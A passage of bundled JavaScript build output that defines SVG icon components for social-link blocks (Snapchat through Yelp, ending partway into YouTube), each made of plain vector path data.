  // packages/block-library/build-module/social-link/icons/snapchat.mjs
  var import_primitives197 = __toESM(require_primitives(), 1);
  var import_jsx_runtime463 = __toESM(require_jsx_runtime(), 1);
  var SnapchatIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime463.jsx)(import_primitives197.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime463.jsx)(import_primitives197.Path, { d: &quot;M12.065,2a5.526,5.526,0,0,1,3.132.892A5.854,5.854,0,0,1,17.326,5.4a5.821,5.821,0,0,1,.351,2.33q0,.612-.117,2.487a.809.809,0,0,0,.365.091,1.93,1.93,0,0,0,.664-.176,1.93,1.93,0,0,1,.664-.176,1.3,1.3,0,0,1,.729.234.7.7,0,0,1,.351.6.839.839,0,0,1-.41.7,2.732,2.732,0,0,1-.9.41,3.192,3.192,0,0,0-.9.378.728.728,0,0,0-.41.618,1.575,1.575,0,0,0,.156.56,6.9,6.9,0,0,0,1.334,1.953,5.6,5.6,0,0,0,1.881,1.315,5.875,5.875,0,0,0,1.042.3.42.42,0,0,1,.365.456q0,.911-2.852,1.341a1.379,1.379,0,0,0-.143.507,1.8,1.8,0,0,1-.182.605.451.451,0,0,1-.429.241,5.878,5.878,0,0,1-.807-.085,5.917,5.917,0,0,0-.833-.085,4.217,4.217,0,0,0-.807.065,2.42,2.42,0,0,0-.82.293,6.682,6.682,0,0,0-.755.5q-.351.267-.755.527a3.886,3.886,0,0,1-.989.436A4.471,4.471,0,0,1,11.831,22a4.307,4.307,0,0,1-1.256-.176,3.784,3.784,0,0,1-.976-.436q-.4-.26-.749-.527a6.682,6.682,0,0,0-.755-.5,2.422,2.422,0,0,0-.807-.293,4.432,4.432,0,0,0-.82-.065,5.089,5.089,0,0,0-.853.1,5,5,0,0,1-.762.1.474.474,0,0,1-.456-.241,1.819,1.819,0,0,1-.182-.618,1.411,1.411,0,0,0-.143-.521q-2.852-.429-2.852-1.341a.42.42,0,0,1,.365-.456,5.793,5.793,0,0,0,1.042-.3,5.524,5.524,0,0,0,1.881-1.315,6.789,6.789,0,0,0,1.334-1.953A1.575,1.575,0,0,0,6,12.9a.728.728,0,0,0-.41-.618,3.323,3.323,0,0,0-.9-.384,2.912,2.912,0,0,1-.9-.41.814.814,0,0,1-.41-.684.71.71,0,0,1,.338-.593,1.208,1.208,0,0,1,.716-.241,1.976,1.976,0,0,1,.625.169,2.008,2.008,0,0,0,.69.169.919.919,0,0,0,.416-.091q-.117-1.849-.117-2.474A5.861,5.861,0,0,1,6.385,5.4,5.516,5.516,0,0,1,8.625,2.819,7.075,7.075,0,0,1,12.062,2Z&quot; }) });

  // packages/block-library/build-module/social-link/icons/soundcloud.mjs
  var import_primitives198 = __toESM(require_primitives(), 1);
  var import_jsx_runtime464 = __toESM(require_jsx_runtime(), 1);
  var SoundCloudIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime464.jsx)(import_primitives198.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime464.jsx)(import_primitives198.Path, { d: &quot;M23.994 14.552a3.36 3.36 0 01-3.401 3.171h-8.176a.685.685 0 01-.679-.681V8.238a.749.749 0 01.452-.716S12.942 7 14.526 7a5.357 5.357 0 012.748.755 5.44 5.44 0 012.56 3.546c.282-.08.574-.12.868-.119a3.273 3.273 0 013.292 3.37zM10.718 8.795a.266.266 0 10-.528 0c-.224 2.96-.397 5.735 0 8.685a.265.265 0 00.528 0c.425-2.976.246-5.7 0-8.685zM9.066 9.82a.278.278 0 00-.553 0 33.183 33.183 0 000 7.663.278.278 0 00.55 0c.33-2.544.332-5.12.003-7.664zM7.406 9.56a.269.269 0 00-.535 0c-.253 2.7-.38 5.222 0 7.917a.266.266 0 10.531 0c.394-2.73.272-5.181.004-7.917zM5.754 10.331a.275.275 0 10-.55 0 28.035 28.035 0 000 7.155.272.272 0 00.54 0c.332-2.373.335-4.78.01-7.155zM4.087 12.12a.272.272 0 00-.544 0c-.393 1.843-.208 3.52.016 5.386a.26.26 0 00.512 0c.247-1.892.435-3.53.016-5.386zM2.433 11.838a.282.282 0 00-.56 0c-.349 1.882-.234 3.54.01 5.418.025.285.508.282.54 0 .269-1.907.394-3.517.01-5.418zM.762 12.76a.282.282 0 00-.56 0c-.32 1.264-.22 2.31.023 3.578a.262.262 0 00.521 0c.282-1.293.42-2.317.016-3.578z&quot; }) });

  // packages/block-library/build-module/social-link/icons/spotify.mjs
  var import_primitives199 = __toESM(require_primitives(), 1);
  var import_jsx_runtime465 = __toESM(require_jsx_runtime(), 1);
  var SpotifyIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime465.jsx)(import_primitives199.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime465.jsx)(import_primitives199.Path, { d: &quot;M12,2C6.477,2,2,6.477,2,12c0,5.523,4.477,10,10,10c5.523,0,10-4.477,10-10C22,6.477,17.523,2,12,2 M16.586,16.424 c-0.18,0.295-0.563,0.387-0.857,0.207c-2.348-1.435-5.304-1.76-8.785-0.964c-0.335,0.077-0.67-0.133-0.746-0.469 c-0.077-0.335,0.132-0.67,0.469-0.746c3.809-0.871,7.077-0.496,9.713,1.115C16.673,15.746,16.766,16.13,16.586,16.424 M17.81,13.7 c-0.226,0.367-0.706,0.482-1.072,0.257c-2.687-1.652-6.785-2.131-9.965-1.166C6.36,12.917,5.925,12.684,5.8,12.273 C5.675,11.86,5.908,11.425,6.32,11.3c3.632-1.102,8.147-0.568,11.234,1.328C17.92,12.854,18.035,13.335,17.81,13.7 M17.915,10.865 c-3.223-1.914-8.54-2.09-11.618-1.156C5.804,9.859,5.281,9.58,5.131,9.086C4.982,8.591,5.26,8.069,5.755,7.919 c3.532-1.072,9.404-0.865,13.115,1.338c0.445,0.264,0.59,0.838,0.327,1.282C18.933,10.983,18.359,11.129,17.915,10.865&quot; }) });

  // packages/block-library/build-module/social-link/icons/telegram.mjs
  var import_primitives200 = __toESM(require_primitives(), 1);
  var import_jsx_runtime466 = __toESM(require_jsx_runtime(), 1);
  var TelegramIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime466.jsx)(import_primitives200.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 128 128&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime466.jsx)(import_primitives200.Path, { d: &quot;M28.9700376,63.3244248 C47.6273373,55.1957357 60.0684594,49.8368063 66.2934036,47.2476366 C84.0668845,39.855031 87.7600616,38.5708563 90.1672227,38.528 C90.6966555,38.5191258 91.8804274,38.6503351 92.6472251,39.2725385 C93.294694,39.7979149 93.4728387,40.5076237 93.5580865,41.0057381 C93.6433345,41.5038525 93.7494885,42.63857 93.6651041,43.5252052 C92.7019529,53.6451182 88.5344133,78.2034783 86.4142057,89.5379542 C85.5170662,94.3339958 83.750571,95.9420841 82.0403991,96.0994568 C78.3237996,96.4414641 75.5015827,93.6432685 71.9018743,91.2836143 C66.2690414,87.5912212 63.0868492,85.2926952 57.6192095,81.6896017 C51.3004058,77.5256038 55.3966232,75.2369981 58.9976911,71.4967761 C59.9401076,70.5179421 76.3155302,55.6232293 76.6324771,54.2720454 C76.6721165,54.1030573 76.7089039,53.4731496 76.3346867,53.1405352 C75.9604695,52.8079208 75.4081573,52.921662 75.0095933,53.0121213 C74.444641,53.1403447 65.4461175,59.0880351 48.0140228,70.8551922 C45.4598218,72.6091037 43.1463059,73.4636682 41.0734751,73.4188859 C38.7883453,73.3695169 34.3926725,72.1268388 31.1249416,71.0646282 C27.1169366,69.7617838 23.931454,69.0729605 24.208838,66.8603276 C24.3533167,65.7078514 25.9403832,64.5292172 28.9700376,63.3244248 Z&quot; }) });

  // packages/block-library/build-module/social-link/icons/threads.mjs
  var import_primitives201 = __toESM(require_primitives(), 1);
  var import_jsx_runtime467 = __toESM(require_jsx_runtime(), 1);
  var ThreadsIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime467.jsx)(import_primitives201.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime467.jsx)(import_primitives201.Path, { d: &quot;M16.3 11.3c-.1 0-.2-.1-.2-.1-.1-2.6-1.5-4-3.9-4-1.4 0-2.6.6-3.3 1.7l1.3.9c.5-.8 1.4-1 2-1 .8 0 1.4.2 1.7.7.3.3.5.8.5 1.3-.7-.1-1.4-.2-2.2-.1-2.2.1-3.7 1.4-3.6 3.2 0 .9.5 1.7 1.3 2.2.7.4 1.5.6 2.4.6 1.2-.1 2.1-.5 2.7-1.3.5-.6.8-1.4.9-2.4.6.3 1 .8 1.2 1.3.4.9.4 2.4-.8 3.6-1.1 1.1-2.3 1.5-4.3 1.5-2.1 0-3.8-.7-4.8-2S5.7 14.3 5.7 12c0-2.3.5-4.1 1.5-5.4 1.1-1.3 2.7-2 4.8-2 2.2 0 3.8.7 4.9 2 .5.7.9 1.5 1.2 2.5l1.5-.4c-.3-1.2-.8-2.2-1.5-3.1-1.3-1.7-3.3-2.6-6-2.6-2.6 0-4.7.9-6 2.6C4.9 7.2 4.3 9.3 4.3 12s.6 4.8 1.9 6.4c1.4 1.7 3.4 2.6 6 2.6 2.3 0 4-.6 5.3-2 1.8-1.8 1.7-4 1.1-5.4-.4-.9-1.2-1.7-2.3-2.3zm-4 3.8c-1 .1-2-.4-2-1.3 0-.7.5-1.5 2.1-1.6h.5c.6 0 1.1.1 1.6.2-.2 2.3-1.3 2.7-2.2 2.7z&quot; }) });

  // packages/block-library/build-module/social-link/icons/tiktok.mjs
  var import_primitives202 = __toESM(require_primitives(), 1);
  var import_jsx_runtime468 = __toESM(require_jsx_runtime(), 1);
  var TiktokIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime468.jsx)(import_primitives202.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime468.jsx)(import_primitives202.Path, { d: &quot;M12.4044 3.01519C13.4086 3 14.4072 3.009 15.4045 3C15.465 4.14812 15.8874 5.31762 16.7472 6.12935C17.6053 6.96134 18.819 7.34217 20 7.47099V10.4912C18.8933 10.4558 17.7814 10.2308 16.7771 9.76499C16.3397 9.57148 15.9323 9.32227 15.5334 9.06745C15.5283 11.2591 15.5426 13.4479 15.5191 15.6305C15.4592 16.679 15.1053 17.7225 14.4814 18.5866C13.4777 20.025 11.7356 20.9627 9.94635 20.992C8.84885 21.0533 7.7525 20.7608 6.81729 20.2219C5.26743 19.3286 4.17683 17.6933 4.01799 15.9382C3.99957 15.563 3.99324 15.1883 4.00878 14.8221C4.14691 13.395 4.86917 12.0297 5.99027 11.101C7.26101 10.0192 9.04107 9.50397 10.7078 9.80886C10.7233 10.9199 10.6778 12.0297 10.6778 13.1407C9.91643 12.9 9.02668 12.9675 8.36139 13.4192C7.87566 13.7269 7.50675 14.1983 7.31453 14.7316C7.15569 15.1118 7.20116 15.5343 7.21036 15.9382C7.3928 17.169 8.60368 18.2035 9.89628 18.0916C10.7532 18.0826 11.5745 17.5965 12.0211 16.8849C12.1655 16.6357 12.3273 16.3809 12.3359 16.0878C12.4113 14.7462 12.3814 13.4102 12.3906 12.0685C12.3969 9.04495 12.3814 6.02979 12.4049 3.01575L12.4044 3.01519Z&quot; }) });

  // packages/block-library/build-module/social-link/icons/tumblr.mjs
  var import_primitives203 = __toESM(require_primitives(), 1);
  var import_jsx_runtime469 = __toESM(require_jsx_runtime(), 1);
  var TumblrIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime469.jsx)(import_primitives203.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime469.jsx)(import_primitives203.Path, { d: &quot;M17.04 21.28h-3.28c-2.84 0-4.94-1.37-4.94-5.02v-5.67H6.08V7.5c2.93-.73 4.11-3.3 4.3-5.48h3.01v4.93h3.47v3.65H13.4v4.93c0 1.47.73 2.01 1.92 2.01h1.73v3.75z&quot; }) });

  // packages/block-library/build-module/social-link/icons/twitch.mjs
  var import_primitives204 = __toESM(require_primitives(), 1);
  var import_jsx_runtime470 = __toESM(require_jsx_runtime(), 1);
  var TwitchIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime470.jsx)(import_primitives204.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime470.jsx)(import_primitives204.Path, { d: &quot;M16.499,8.089h-1.636v4.91h1.636V8.089z M12,8.089h-1.637v4.91H12V8.089z M4.228,3.178L3,6.451v13.092h4.499V22h2.456 l2.454-2.456h3.681L21,14.636V3.178H4.228z M19.364,13.816l-2.864,2.865H12l-2.453,2.453V16.68H5.863V4.814h13.501V13.816z&quot; }) });

  // packages/block-library/build-module/social-link/icons/twitter.mjs
  var import_primitives205 = __toESM(require_primitives(), 1);
  var import_jsx_runtime471 = __toESM(require_jsx_runtime(), 1);
  var TwitterIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime471.jsx)(import_primitives205.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime471.jsx)(import_primitives205.Path, { d: &quot;M22.23,5.924c-0.736,0.326-1.527,0.547-2.357,0.646c0.847-0.508,1.498-1.312,1.804-2.27 c-0.793,0.47-1.671,0.812-2.606,0.996C18.324,4.498,17.257,4,16.077,4c-2.266,0-4.103,1.837-4.103,4.103 c0,0.322,0.036,0.635,0.106,0.935C8.67,8.867,5.647,7.234,3.623,4.751C3.27,5.357,3.067,6.062,3.067,6.814 c0,1.424,0.724,2.679,1.825,3.415c-0.673-0.021-1.305-0.206-1.859-0.513c0,0.017,0,0.034,0,0.052c0,1.988,1.414,3.647,3.292,4.023 c-0.344,0.094-0.707,0.144-1.081,0.144c-0.264,0-0.521-0.026-0.772-0.074c0.522,1.63,2.038,2.816,3.833,2.85 c-1.404,1.1-3.174,1.756-5.096,1.756c-0.331,0-0.658-0.019-0.979-0.057c1.816,1.164,3.973,1.843,6.29,1.843 c7.547,0,11.675-6.252,11.675-11.675c0-0.178-0.004-0.355-0.012-0.531C20.985,7.47,21.68,6.747,22.23,5.924z&quot; }) });

  // packages/block-library/build-module/social-link/icons/vimeo.mjs
  var import_primitives206 = __toESM(require_primitives(), 1);
  var import_jsx_runtime472 = __toESM(require_jsx_runtime(), 1);
  var VimeoIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime472.jsx)(import_primitives206.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime472.jsx)(import_primitives206.Path, { d: &quot;M22.396,7.164c-0.093,2.026-1.507,4.799-4.245,8.32C15.322,19.161,12.928,21,10.97,21c-1.214,0-2.24-1.119-3.079-3.359 c-0.56-2.053-1.119-4.106-1.68-6.159C5.588,9.243,4.921,8.122,4.206,8.122c-0.156,0-0.701,0.328-1.634,0.98L1.594,7.841 c1.027-0.902,2.04-1.805,3.037-2.708C6.001,3.95,7.03,3.327,7.715,3.264c1.619-0.156,2.616,0.951,2.99,3.321 c0.404,2.557,0.685,4.147,0.841,4.769c0.467,2.121,0.981,3.181,1.542,3.181c0.435,0,1.09-0.688,1.963-2.065 c0.871-1.376,1.338-2.422,1.401-3.142c0.125-1.187-0.343-1.782-1.401-1.782c-0.498,0-1.012,0.115-1.541,0.341 c1.023-3.35,2.977-4.977,5.862-4.884C21.511,3.066,22.52,4.453,22.396,7.164z&quot; }) });

  // packages/block-library/build-module/social-link/icons/vk.mjs
  var import_primitives207 = __toESM(require_primitives(), 1);
  var import_jsx_runtime473 = __toESM(require_jsx_runtime(), 1);
  var VkIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime473.jsx)(import_primitives207.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime473.jsx)(import_primitives207.Path, { d: &quot;M22,7.1c0.2,0.4-0.4,1.5-1.6,3.1c-0.2,0.2-0.4,0.5-0.7,0.9c-0.5,0.7-0.9,1.1-0.9,1.4c-0.1,0.3-0.1,0.6,0.1,0.8 c0.1,0.1,0.4,0.4,0.8,0.9h0l0,0c1,0.9,1.6,1.7,2,2.3c0,0,0,0.1,0.1,0.1c0,0.1,0,0.1,0.1,0.3c0,0.1,0,0.2,0,0.4 c0,0.1-0.1,0.2-0.3,0.3c-0.1,0.1-0.4,0.1-0.6,0.1l-2.7,0c-0.2,0-0.4,0-0.6-0.1c-0.2-0.1-0.4-0.1-0.5-0.2l-0.2-0.1 c-0.2-0.1-0.5-0.4-0.7-0.7s-0.5-0.6-0.7-0.8c-0.2-0.2-0.4-0.4-0.6-0.6C14.8,15,14.6,15,14.4,15c0,0,0,0-0.1,0c0,0-0.1,0.1-0.2,0.2 c-0.1,0.1-0.2,0.2-0.2,0.3c-0.1,0.1-0.1,0.3-0.2,0.5c-0.1,0.2-0.1,0.5-0.1,0.8c0,0.1,0,0.2,0,0.3c0,0.1-0.1,0.2-0.1,0.2l0,0.1 c-0.1,0.1-0.3,0.2-0.6,0.2h-1.2c-0.5,0-1,0-1.5-0.2c-0.5-0.1-1-0.3-1.4-0.6s-0.7-0.5-1.1-0.7s-0.6-0.4-0.7-0.6l-0.3-0.3 c-0.1-0.1-0.2-0.2-0.3-0.3s-0.4-0.5-0.7-0.9s-0.7-1-1.1-1.6c-0.4-0.6-0.8-1.3-1.3-2.2C2.9,9.4,2.5,8.5,2.1,7.5C2,7.4,2,7.3,2,7.2 c0-0.1,0-0.1,0-0.2l0-0.1c0.1-0.1,0.3-0.2,0.6-0.2l2.9,0c0.1,0,0.2,0,0.2,0.1S5.9,6.9,5.9,7L6,7c0.1,0.1,0.2,0.2,0.3,0.3 C6.4,7.7,6.5,8,6.7,8.4C6.9,8.8,7,9,7.1,9.2l0.2,0.3c0.2,0.4,0.4,0.8,0.6,1.1c0.2,0.3,0.4,0.5,0.5,0.7s0.3,0.3,0.4,0.4 c0.1,0.1,0.3,0.1,0.4,0.1c0.1,0,0.2,0,0.3-0.1c0,0,0,0,0.1-0.1c0,0,0.1-0.1,0.1-0.2c0.1-0.1,0.1-0.3,0.1-0.5c0-0.2,0.1-0.5,0.1-0.8 c0-0.4,0-0.8,0-1.3c0-0.3,0-0.5-0.1-0.8c0-0.2-0.1-0.4-0.1-0.5L9.6,7.6C9.4,7.3,9.1,7.2,8.7,7.1C8.6,7.1,8.6,7,8.7,6.9 C8.9,6.7,9,6.6,9.1,6.5c0.4-0.2,1.2-0.3,2.5-0.3c0.6,0,1,0.1,1.4,0.1c0.1,0,0.3,0.1,0.3,0.1c0.1,0.1,0.2,0.1,0.2,0.3 c0,0.1,0.1,0.2,0.1,0.3s0,0.3,0,0.5c0,0.2,0,0.4,0,0.6c0,0.2,0,0.4,0,0.7c0,0.3,0,0.6,0,0.9c0,0.1,0,0.2,0,0.4c0,0.2,0,0.4,0,0.5 c0,0.1,0,0.3,0,0.4s0.1,0.3,0.1,0.4c0.1,0.1,0.1,0.2,0.2,0.3c0.1,0,0.1,0,0.2,0c0.1,0,0.2,0,0.3-0.1c0.1-0.1,0.2-0.2,0.4-0.4 s0.3-0.4,0.5-0.7c0.2-0.3,0.5-0.7,0.7-1.1c0.4-0.7,0.8-1.5,1.1-2.3c0-0.1,0.1-0.1,0.1-0.2c0-0.1,0.1-0.1,0.1-0.1l0,0l0.1,0 c0,0,0,0,0.1,0s0.2,0,0.2,0l3,0c0.3,0,0.5,0,0.7,0S21.9,7,21.9,7L22,7.1z&quot; }) });

  // packages/block-library/build-module/social-link/icons/whatsapp.mjs
  var import_primitives208 = __toESM(require_primitives(), 1);
  var import_jsx_runtime474 = __toESM(require_jsx_runtime(), 1);
  var WhatsAppIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime474.jsx)(import_primitives208.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime474.jsx)(import_primitives208.Path, { d: &quot;M 12.011719 2 C 6.5057187 2 2.0234844 6.478375 2.0214844 11.984375 C 2.0204844 13.744375 2.4814687 15.462563 3.3554688 16.976562 L 2 22 L 7.2324219 20.763672 C 8.6914219 21.559672 10.333859 21.977516 12.005859 21.978516 L 12.009766 21.978516 C 17.514766 21.978516 21.995047 17.499141 21.998047 11.994141 C 22.000047 9.3251406 20.962172 6.8157344 19.076172 4.9277344 C 17.190172 3.0407344 14.683719 2.001 12.011719 2 z M 12.009766 4 C 14.145766 4.001 16.153109 4.8337969 17.662109 6.3417969 C 19.171109 7.8517969 20.000047 9.8581875 19.998047 11.992188 C 19.996047 16.396187 16.413812 19.978516 12.007812 19.978516 C 10.674812 19.977516 9.3544062 19.642812 8.1914062 19.007812 L 7.5175781 18.640625 L 6.7734375 18.816406 L 4.8046875 19.28125 L 5.2851562 17.496094 L 5.5019531 16.695312 L 5.0878906 15.976562 C 4.3898906 14.768562 4.0204844 13.387375 4.0214844 11.984375 C 4.0234844 7.582375 7.6067656 4 12.009766 4 z M 8.4765625 7.375 C 8.3095625 7.375 8.0395469 7.4375 7.8105469 7.6875 C 7.5815469 7.9365 6.9355469 8.5395781 6.9355469 9.7675781 C 6.9355469 10.995578 7.8300781 12.182609 7.9550781 12.349609 C 8.0790781 12.515609 9.68175 15.115234 12.21875 16.115234 C 14.32675 16.946234 14.754891 16.782234 15.212891 16.740234 C 15.670891 16.699234 16.690438 16.137687 16.898438 15.554688 C 17.106437 14.971687 17.106922 14.470187 17.044922 14.367188 C 16.982922 14.263188 16.816406 14.201172 16.566406 14.076172 C 16.317406 13.951172 15.090328 13.348625 14.861328 13.265625 C 14.632328 13.182625 14.464828 13.140625 14.298828 13.390625 C 14.132828 13.640625 13.655766 14.201187 13.509766 14.367188 C 13.363766 14.534188 13.21875 14.556641 12.96875 14.431641 C 12.71875 14.305641 11.914938 14.041406 10.960938 13.191406 C 10.218937 12.530406 9.7182656 11.714844 9.5722656 11.464844 C 9.4272656 11.215844 9.5585938 11.079078 9.6835938 10.955078 C 9.7955938 10.843078 9.9316406 10.663578 10.056641 10.517578 C 10.180641 10.371578 10.223641 10.267562 10.306641 10.101562 C 10.389641 9.9355625 10.347156 9.7890625 10.285156 9.6640625 C 10.223156 9.5390625 9.737625 8.3065 9.515625 7.8125 C 9.328625 7.3975 9.131125 7.3878594 8.953125 7.3808594 C 8.808125 7.3748594 8.6425625 7.375 8.4765625 7.375 z&quot; }) });

  // packages/block-library/build-module/social-link/icons/wordpress.mjs
  var import_primitives209 = __toESM(require_primitives(), 1);
  var import_jsx_runtime475 = __toESM(require_jsx_runtime(), 1);
  var WordPressIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime475.jsx)(
    import_primitives209.SVG,
    {
      width: &quot;24&quot;,
      height: &quot;24&quot;,
      viewBox: &quot;0 0 24 24&quot;,
      version: &quot;1.1&quot;,
      xmlns: &quot;http://www.w3.org/2000/svg&quot;,
      children: /* @__PURE__ */ (0, import_jsx_runtime475.jsx)(import_primitives209.Path, { d: &quot;M12.158,12.786L9.46,20.625c0.806,0.237,1.657,0.366,2.54,0.366c1.047,0,2.051-0.181,2.986-0.51 c-0.024-0.038-0.046-0.079-0.065-0.124L12.158,12.786z M3.009,12c0,3.559,2.068,6.634,5.067,8.092L3.788,8.341 C3.289,9.459,3.009,10.696,3.009,12z M18.069,11.546c0-1.112-0.399-1.881-0.741-2.48c-0.456-0.741-0.883-1.368-0.883-2.109 c0-0.826,0.627-1.596,1.51-1.596c0.04,0,0.078,0.005,0.116,0.007C16.472,3.904,14.34,3.009,12,3.009 c-3.141,0-5.904,1.612-7.512,4.052c0.211,0.007,0.41,0.011,0.579,0.011c0.94,0,2.396-0.114,2.396-0.114 C7.947,6.93,8.004,7.642,7.52,7.699c0,0-0.487,0.057-1.029,0.085l3.274,9.739l1.968-5.901l-1.401-3.838 C9.848,7.756,9.389,7.699,9.389,7.699C8.904,7.67,8.961,6.93,9.446,6.958c0,0,1.484,0.114,2.368,0.114 c0.94,0,2.397-0.114,2.397-0.114c0.485-0.028,0.542,0.684,0.057,0.741c0,0-0.488,0.057-1.029,0.085l3.249,9.665l0.897-2.996 C17.841,13.284,18.069,12.316,18.069,11.546z M19.889,7.686c0.039,0.286,0.06,0.593,0.06,0.924c0,0.912-0.171,1.938-0.684,3.22 l-2.746,7.94c2.673-1.558,4.47-4.454,4.47-7.771C20.991,10.436,20.591,8.967,19.889,7.686z M12,22C6.486,22,2,17.514,2,12 C2,6.486,6.486,2,12,2c5.514,0,10,4.486,10,10C22,17.514,17.514,22,12,22z&quot; })
    }
  );

  // packages/block-library/build-module/social-link/icons/x.mjs
  var import_primitives210 = __toESM(require_primitives(), 1);
  var import_jsx_runtime476 = __toESM(require_jsx_runtime(), 1);
  var XIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime476.jsx)(import_primitives210.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime476.jsx)(import_primitives210.Path, { d: &quot;M13.982 10.622 20.54 3h-1.554l-5.693 6.618L8.745 3H3.5l6.876 10.007L3.5 21h1.554l6.012-6.989L15.868 21h5.245l-7.131-10.378Zm-2.128 2.474-.697-.997-5.543-7.93H8l4.474 6.4.697.996 5.815 8.318h-2.387l-4.745-6.787Z&quot; }) });

  // packages/block-library/build-module/social-link/icons/yelp.mjs
  var import_primitives211 = __toESM(require_primitives(), 1);
  var import_jsx_runtime477 = __toESM(require_jsx_runtime(), 1);
  var YelpIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime477.jsx)(import_primitives211.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime477.jsx)(import_primitives211.Path, { d: &quot;M12.271,16.718v1.417q-.011,3.257-.067,3.4a.707.707,0,0,1-.569.446,4.637,4.637,0,0,1-2.024-.424A4.609,4.609,0,0,1,7.8,20.565a.844.844,0,0,1-.19-.4.692.692,0,0,1,.044-.29,3.181,3.181,0,0,1,.379-.524q.335-.412,2.019-2.409.011,0,.669-.781a.757.757,0,0,1,.44-.274.965.965,0,0,1,.552.039.945.945,0,0,1,.418.324.732.732,0,0,1,.139.468Zm-1.662-2.8a.783.783,0,0,1-.58.781l-1.339.435q-3.067.981-3.257.981a.711.711,0,0,1-.6-.4,2.636,2.636,0,0,1-.19-.836,9.134,9.134,0,0,1,.011-1.857,3.559,3.559,0,0,1,.335-1.389.659.659,0,0,1,.625-.357,22.629,22.629,0,0,1,2.253.859q.781.324,1.283.524l.937.379a.771.771,0,0,1,.4.34A.982.982,0,0,1,10.609,13.917Zm9.213,3.313a4.467,4.467,0,0,1-1.021,1.8,4.559,4.559,0,0,1-1.512,1.417.671.671,0,0,1-.7-.078q-.156-.112-2.052-3.2l-.524-.859a.761.761,0,0,1-.128-.513.957.957,0,0,1,.217-.513.774.774,0,0,1,.926-.29q.011.011,1.327.446,2.264.736,2.7.887a2.082,2.082,0,0,1,.524.229.673.673,0,0,1,.245.68Zm-7.5-7.049q.056,1.137-.6,1.361-.647.19-1.272-.792L6.237,4.08a.7.7,0,0,1,.212-.691,5.788,5.788,0,0,1,2.314-1,5.928,5.928,0,0,1,2.5-.352.681.681,0,0,1,.547.5q.034.2.245,3.407T12.327,10.181Zm7.384,1.2a.679.679,0,0,1-.29.658q-.167.112-3.67.959-.747.167-1.015.257l.011-.022a.769.769,0,0,1-.513-.044.914.914,0,0,1-.413-.357.786.786,0,0,1,0-.971q.011-.011.836-1.137,1.394-1.908,1.673-2.275a2.423,2.423,0,0,1,.379-.435A.7.7,0,0,1,17.435,8a4.482,4.482,0,0,1,1.372,1.489,4.81,4.81,0,0,1,.9,1.868v.034Z&quot; }) });

  // packages/block-library/build-module/social-link/icons/youtube.mjs
  var import_primitives212 = __toESM(require_primitives(), 1);
  var import_jsx_runtime478 = __toESM(require_jsx_runtime(), 1);
